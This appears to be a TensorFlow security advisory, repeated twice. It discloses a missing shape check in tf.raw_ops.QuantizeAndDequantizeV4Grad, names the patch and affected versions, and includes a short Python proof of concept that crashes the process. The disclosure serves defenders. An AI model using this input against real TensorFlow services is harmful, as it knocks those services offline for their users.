Impact
The implementation of tf.raw_ops.QuantizeAndDequantizeV4Grad does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
tf.raw_ops.QuantizeAndDequantizeV4Grad(
gradients=tf.constant(1, shape=[2,2], dtype=tf.float64),
input=tf.constant(1, shape=[2,2], dtype=tf.float64),
input_min=tf.constant([], shape=[0], dtype=tf.float64),
input_max=tf.constant(-10, shape=[], dtype=tf.float64),
axis=-1)
The code assumes input_min and input_max are scalars but there is no validation for this.
Patches
We have patched the issue in GitHub commit 098e7762d909bac47ce1dbabe6dfd06294cb9d58.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
References
Impact
The implementation of
tf.raw_ops.QuantizeAndDequantizeV4Graddoes not fully validate the input arguments. This results in aCHECK-failure which can be used to trigger a denial of service attack:The code assumes
input_minandinput_maxare scalars but there is no validation for this.Patches
We have patched the issue in GitHub commit 098e7762d909bac47ce1dbabe6dfd06294cb9d58.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
References